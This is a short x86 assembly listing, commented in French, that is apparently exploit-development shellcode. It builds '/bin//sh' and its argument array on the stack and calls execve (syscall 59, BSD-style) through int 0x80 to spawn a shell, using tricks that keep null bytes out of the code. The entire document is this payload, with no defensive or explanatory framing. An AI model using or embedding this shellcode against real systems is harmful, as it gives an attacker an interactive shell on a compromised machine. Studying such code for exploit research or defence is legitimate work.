section .text global _start _start: xor eax, eax push eax ; nul byte push '//sh' push '/bin' ; On stock la chaine sur la pile mov ebx, esp ; Pointeur sur '/bin//sh' push eax ; argv[1] = NULL push ebx ; argv[0] = '/bin//sh' mov ecx, esp ; ecx = argv push eax ; Empile env (NULL) push ecx ; Empile argv push ebx ; Empile '/bin//sh' mov al, 59 ; Appel system execve() push eax ; PADDING int 0x80